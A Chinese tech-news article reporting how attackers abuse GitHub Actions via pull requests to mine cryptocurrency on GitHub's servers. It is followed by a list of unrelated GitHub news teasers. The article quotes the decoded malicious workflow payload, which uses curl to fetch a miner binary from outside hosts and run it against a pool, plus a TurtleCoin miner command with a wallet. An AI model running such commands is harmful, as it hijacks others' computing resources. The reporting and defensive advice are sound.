扣丁书屋

黑客用GitHub服务器挖矿:三天跑了3万个任务 代码惊现中文

加密货币价格一路高涨,显卡又买不起,怎么才能“廉价”挖矿?黑客们动起了歪心思——“白嫖”服务器。给PC植入挖矿木马,已经无法满足黑客日益增长的算力需求,如果能用上GitHub的服务器,还不花钱,那当然是极好的。

而且整个过程可能比侵入PC还容易,甚至都不需要程序员上当受骗。只需提交Pull Request(PR),即使项目管理者没有批准,恶意挖矿代码依然能够执行。

原理也很简单,利用GitHub Action的自动执行工作流功能,轻松将挖矿程序运行在GitHub的服务器上。

早在去年11月,就已经有人发现黑客这种行为。更可怕的是,半年过去了,这种现象依然没得到有效制止。

GitHub心里苦啊,虽然可以封禁违规账号,但黑客们玩起了“游击战术”,不断更换马甲号逃避“追捕”,让官方疲于奔命。

就在几天前,一位荷兰的程序员还发现,这种攻击方式依然存在,甚至代码里还出现了中文。

那么,这些黑客是如何植入挖矿程序的呢?一切要从发现异常的法国程序员Tib说起。

PR异常让程序员起疑心

去年11月,Tib发现,自己在一个没有参加的repo上收到了PR请求。而且在14个小时内就收到了7个,全是来自一个“y4ndexhater1”的用户,没有任何描述内容。

令人感到奇怪的是,这并不是一个热门项目,Star数量为0。

打开项目主页发现,内容是Perl项目的github action、circle ci、travis-ci示例代码集合,整个README文档一团糟,根本不像一个正经的开源项目。

然而就是这个混乱又冷门的repo,居然在3天里被fork了2次。

一切都太不正常了,让人嗅到了一丝不安的气息。

尝试“作死”运行

本着“作死”的精神,Tib决定一探究竟。

经过那位可疑用户的操作,Tib所有的action都被删除,在工作流里被加入了一个ci.yml文件,内容如下:

当Tib看到eval “$(echo “YXB0IHVwZGF0ZSAt这一行内容后,立刻从沙发上跳了起来,他意识到事情的严重性:有人在入侵他的GitHub个人资料!

这串看似神秘的字符,其实是base64编码,经过翻译后,得到了另一段代码:

apt update -qq

apt install -y curl git jq

curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog

ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')

chmod u+x prog

timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null

前面两行不必解释,有意思的地方从第三行开始,它会下载一个prog二进制文件。

为了安全起见,Tib先尝试获取信息而不是执行,得到了它的十六进制代码。

$ objdump -s --section .comment prog

prog: file format elf64-x86-64

Contents of section .comment:

0000 4743433a 2028416c 70696e65 2031302e GCC: (Alpine 10.

0010 322e315f 70726531 29203130 2e322e31 2.1_pre1) 10.2.1

0020 20323032 30313230 3300 20201203.

Tib也考虑过反编译,但是没有成功。

不入虎穴,焉得虎子,Tib决定尝试运行一下。

要执行这一大胆而又作死的任务,防止“试试就逝世”,Tib首先断开了电脑的网络链接,并选择在Docker容器中运行。

答案终于揭晓,原来这个prog是一个名为XMRig的挖矿程序。

$ ./prog --version

XMRig 6.8.1

built on Feb 3 2021 with GCC 10.2.1

features: 64-bit AES

libuv/1.40.0

OpenSSL/1.1.1i

hwloc/2.4.0

当时XMRig的最新版恰好是6.8.1,和上面的版本参数符合。不过用SHA256检测后发现,这个prog并不完全是XMRig,Tib预测它可能是一个修改版。

实际上,可能被攻击的不止GitHub,安全公司Aqua推测,像Docker Hub、Travis CI、Circle CI这些SaaS软件开发环境,都可能遭受这类攻击。

在这个攻击过程中,会派生一个合法的repo,负责将恶意的GitHub Action添加到原始代码。然后,黑客再向原始repo提交一个PR,将代码合并回原始repo。

下载的挖矿程序会伪装成prog或者gcc编译器,通过提交PR在项目执行自动化工作流。此时服务器将运行伪装后的挖矿程序。

这些攻击者仅一次攻击就可以运行多达100个挖矿程序,从而给GitHub的服务器带来了巨大的计算量。

据Aqua估计,仅在三天的时间里,挖矿黑客就在GitHub上有超过2.33万次commit、在Docker Hub上5.8万次build,转化了大约3万个挖矿任务。

可以防范但很难根除

这种攻击甚至不需要被攻击的仓库管理者接受恶意Pull Request。

只要在.github/workflows目录里面的任意.yml文件中配置了在收到Pull Request时执行,来自黑客的Action就会自动被执行

如果你没有使用这个功能,那就不用担心啦,黑客大概也不会找上你。

需要用到这个功能的话,可以设置成只允许本地Action或只允许Github官方及特定作者创建的Action。

将情况反馈给客服后,GitHub会对恶意账号进行封号和关闭相关Pull Request的操作。

但恶意攻击很难被根除,黑客只需要注册新的账号就可以继续白嫖服务器资源。

攻击还在继续

我们从最近一次攻击中发现,黑客将挖矿程序上传到GitLab并伪装成包管理工具npm。

打开这个可疑的nani.bat,可以看到:

npm.exe --algorithm argon2id_chukwa2

--pool turtlecoin.herominers.com:10380

--wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP

--password xo

这一次黑客挖的是乌龟币*(TurtleCoin)*,可使用CPU计算。按当前价格挖出四千多个币才值1美元。

Github Actions的免费服务器可以提供英特尔E5 2673v4的两个核心,7GB内存。

大致估算单台运行一天只能获利几美分,而且黑客的挖矿程序通常只能在被发现之前运行几个小时。比如Docker Hub就把自动build的运行时间限制在2个小时。

不过蚊子再小也是肉,黑客通过寻找更多接受公开Action的仓库以及反复打开关闭Pull Request就能执行更多的挖矿程序。

同一黑客账号至少攻击了95个GitHub仓库

正如Twitter用户Dave Walker所说的,如果你提供免费的计算资源,就要做好会被攻击和滥用的觉悟。挖矿有利可图的情况下这是不可避免的。

据报道,受害的不止GitHub,还有Docker Hub、Travis CI以及Circle CI等提供类似服务的持续集成平台。

这一乱象不知何时才能结束,唯一的好消息可能就是,挖矿的黑客似乎只是针对GitHub提供的服务器资源,而不会破坏你的代码。

但是GitHub Action的漏洞不止这一个。还有方法能使黑客读写开发者的仓库,甚至可以读取加密的机密文件。

去年7月,Google Project Zero团队就已向GitHub通报漏洞。但在给出的90天修复期限+延长14天后,GitHub仍未能有效解决。

对此,我们的建议是,不要轻易相信GitHub市场里的Action作者,不要交出你的密匙。

相关文章:

GitHub正调查有害行为者滥用其服务器基础设施进行加密采矿活动

GitHub新规:可托管用于安全研究的漏洞和恶意程序代码

1 个月前,GitHub 开始和社区讨论对安全研究、恶意软件和漏洞相关政策的调整,目的是启用、欢迎和鼓励 GitHub 上双重用途安全研究和合作。这个讨论得到了安全研究社区、项目维护者和开发者的广泛支持,他们通过 pull request(PR)分享了反馈意见,并针对这个主题进行了深入的探讨。

发布于:4月以前  |  245次阅读  |  详细内容 »

微软、埃森哲和GitHub联手宣布成立绿色软件基金会

除了专注于新服务和新功能技术实现的面向开发者的一系列发布外,微软还透露,它正在与各种组织合作,组建绿色软件基金会。作为这项工作的一部分,微软正在与众多公司联手,包括埃森哲、GitHub、ThoughtWorks和高盛等,这个非营利组织也与Linux基金会有联系。

发布于:5月以前  |  318次阅读  |  详细内容 »

GitHub全面开放用户视频上传功能 兼容MP4与MOV格式

微软旗下代码托管平台 GitHub 宣布,用户现能够在问题讨论和查询请求等内容中上传 MP4 和 MOV 格式的视频文件。其实早在去年 12 月,GitHub 就已经推出了该功能的 Beta 测试。不过现在,官方认为它已经足够稳定,于是向平台上的所有人开放体验。除了清晰演示新功能或软件项目的 Bug,这项改进还为开发者们开辟了更多的可能性。

发布于:5月以前  |  235次阅读  |  详细内容 »

GitHub Desktop迎来2.8新版本 改进差异比较等使用体验

GitHub 刚刚推出了 GitHub Desktop 2.8 新版本,旨在为开发者带来更加无缝的项目工作体验。首先是差异比较(diffs)功能的改进,GitHub Desktop 2.8 版本现能够更好地了解代码的更改、隐藏周围空白区域、以及为本地存储库分配新的别名。

发布于:5月以前  |  291次阅读  |  详细内容 »

GitHub添加HTTP标头来屏蔽谷歌的FLoC追踪

微软旗下代码托管平台 GitHub 已决定加入反谷歌 FLoC 追踪阵营,确认将通过添加 HTTP 标头的方式来屏蔽 FLoC 追踪。Bleeping Computer 留意到,在访问 github.com 和 github.io 的时候,该网站都会返回“Permissions-Policy: interest-cohort=()”的 HTTP 标头。

发布于:5月以前  |  282次阅读  |  详细内容 »

微软GitHub为开发者提供新“火星直升机”徽章

据外媒报道,NASA在今日(当地时间4月19日)早上创造了历史,它的Ingenuity实验直升机成为了首架在另一个星球(火星)上进行动力飞行的飞机。虽然有很多人参与了这一科学技术之旅,但并不是每个人都为人所知。这就是微软Github为那些为开源项目和库的特定版本做出贡献的开发者提供一个新火星直升机(Mars Helicopter)徽章的原因。

发布于:6月以前  |  257次阅读  |  详细内容 »

黑客用GitHub服务器挖矿:三天跑了3万个任务 代码惊现中文

加密货币价格一路高涨,显卡又买不起,怎么才能“廉价”挖矿?黑客们动起了歪心思——“白嫖”服务器。给PC植入挖矿木马,已经无法满足黑客日益增长的算力需求,如果能用上GitHub的服务器,还不花钱,那当然是极好的。

发布于:6月以前  |  598次阅读  |  详细内容 »

GitHub正调查有害行为者滥用其服务器基础设施进行加密采矿活动

代码托管服务GitHub的发言人今天表示其在积极调查一系列针对其云基础设施的攻击,这些攻击让网络犯罪分子植入并滥用该公司的服务器进行非法的加密采矿作业。这些攻击自2020年秋季以来一直在进行,其滥用了GitHub的一个名为GitHub Actions的功能,该功能允许用户在其GitHub仓库内发生某个事件后自动执行任务和工作流程。

发布于:6月以前  |  281次阅读  |  详细内容 »

此前遭解雇的GitHub员工已跟公司达成“友好和解”

据外媒TechCrunch报道,遭公司解雇的一名前GitHub雇员告诉他们,在今年1月美国国会大厦遭到攻击后,他已经跟该公司解雇的人达成了“友好解决方案”。在一群特朗普支持者袭击美国国会大厦的当天,一名忧心忡忡的GitHub员工警告他在华盛顿地区的同事要注意安全。

发布于:7月以前  |  267次阅读  |  详细内容 »

苹果M1 Mac被矿工盯上 大神成功破解后还在GitHub上开源

万万没想到,矿工居然打上了苹果 M1 Mac  的主意。近日,据外媒报道,有大神破解了苹果 M1 Mac,成功挖矿。不仅如此,这位大神还将此方法在 Github 上开源了。对此,有网友表示膜拜,有网友则表示这实在不划算。

发布于:7月以前  |  268次阅读  |  详细内容 »

人人影视字幕组因盗版视频被查 github出现相关资源抓取工具

近日,“人人影视字幕组因盗版视频被查”登上热搜,有网友表示对此感到可惜,但人人影视字幕组确实侵犯著作权,应该受到相应的惩罚。根据警方通报,在未经著作权人授权的情况下,人人影视通过境外盗版论坛网站下载获取片源,以约400元/部(集)的报酬雇人翻译、压片后,上传至APP服务器向公众传播,通过收取网站会员费、广告费和出售刻录侵权影视作品移动硬盘等手段非法牟利。

发布于:8月以前  |  467次阅读  |  详细内容 »

GitHub人力资源主管因犹太员工被解聘事件而辞职

据外媒TechCrunch报道,GitHub的一项内部调查显示,该公司在解雇一名犹太裔员工的过程中犯了“重大判断和程序错误”,这名员工在美国国会大厦骚乱当天提醒同事华盛顿地区存在纳粹分子。

发布于:9月以前  |  261次阅读  |  详细内容 »

[图]Github承认错误解雇一位犹太裔员工 已为其提供新工作岗位

Github 承认错误解雇一位犹太裔的员工,并已经为其提供了新的工作岗位。此前,该公司聘请了一家独立的律师事务所对本次解雇事件进行调查,最终调查结果发现“存在重大错误”。该公司人力资源部主管卡莉·奥勒森(Carrie Olesen)也将辞职。

发布于:9月以前  |  318次阅读  |  详细内容 »

8.2K星标“程序员考公指南”登顶GitHub

996 文化之下,程序员们也要另谋出路了。最近一个 “程序员考公指南(coder2gwy)”项目在 GitHub 上火了。短短几天收获了 8.2k Star、 1.1k Fork。这并不让人感到意外。近几年 “工作 996,生病 ICU”已经成为这个高薪行业的普遍状态。

发布于:9月以前  |  386次阅读  |  详细内容 »

GitHub仍未解释为何解雇发出“警惕纳粹”提醒的犹太员工

早些时候,外媒报道称一位犹太员工因在 Slack 频道中发表了“警惕纳粹”的言论,而遭到了 GitHub 的解雇。虽然结合上下文,该员工是在抨击 1 月 6 号在美国发生的国会暴力抗议示威事件。但用“纳粹分子”来指代参与集会的人群,还是引发了另一些员工的不满,据说在向人力资源部门提交了投诉之后,该员工已遭到解雇。

发布于:9月以前  |  355次阅读  |  详细内容 »

报道称一名GitHub员工因向同事发出“警惕纳粹”的提醒而被解雇

《商业内幕》报道称,微软旗下开源代码托管公司 GitHub 上周解雇了一名犹太员工。“只因”其在美国国会冲击事件发生当日,与 Slack 会话消息中向同事们发出了“警惕纳粹”(Stay safe homies,Nazis are about)的提醒。然而这番言论引发了公司内部的巨大争议,一名同事因此批评他使用了容易引发群体不和的词汇。

发布于:9月以前  |  389次阅读  |  详细内容 »

程序员开发抢茅台脚本 两天就刷榜GitHub

作为A股的一哥,茅台公司的市值都超过2.5万亿了,估计逼近2000元,地位无人能敌,1499元的飞天茅台更是稀缺品,据说转手就能赚上千元。这种溢价让飞天茅台很难原价抢到,各大电商平台为了提高人气,时不时也会来一批原价1499元的飞天茅台让网友抢购,大家都要拼手速、网速。

发布于:9月以前  |  1049次阅读  |  详细内容 »

国产开源软件“有偿刷星”遭热议 GitHub背后的灰色产业仍在继续

“GitHub 刷星”再度被推至舆论的风口浪尖。近日,某开发者平台在其官网挂出了 “你点 Star,我送豪礼”宣传活动。据活动规则显示,用户在 GitHub 上为某知名开源项目点击 “Star””,会收到平台的红包奖励。

发布于:10月以前  |  284次阅读  |  详细内容 »

GitHub宣布全站清理不必要的Cookie提示栏

微软旗下开源代码托管网站 GitHub 刚刚宣布,其将于即日起全面清理该平台上的非必要 Cookies 。对于访客来说,GitHub 主站和子域名上都将不再看到 Cookie Banner 。GitHub 首席执行官 Friedman 在今日的一份声明中写道:“没人喜欢 Cookie Banners,但它们却总是无处不在”。

发布于:10月以前  |  348次阅读  |  详细内容 »

开源代码托管平台GitHub迎来了期待已久的黑暗模式

开源代码托管平台 GitHub 在本周宣布了一系列更新,不过最让熬夜写代码的开发者们感到欣喜的,莫过于期待已久的黑暗模式。其它方面,GitHub 现允许企业直接向开发者提供援助和投资开源项目,自动合并查询请求,以及有关公共存储库的讨论和依赖性审查(Beta 测试阶段)。

发布于:10月以前  |  376次阅读  |  详细内容 »

最新资讯

最热资讯


手机扫码阅读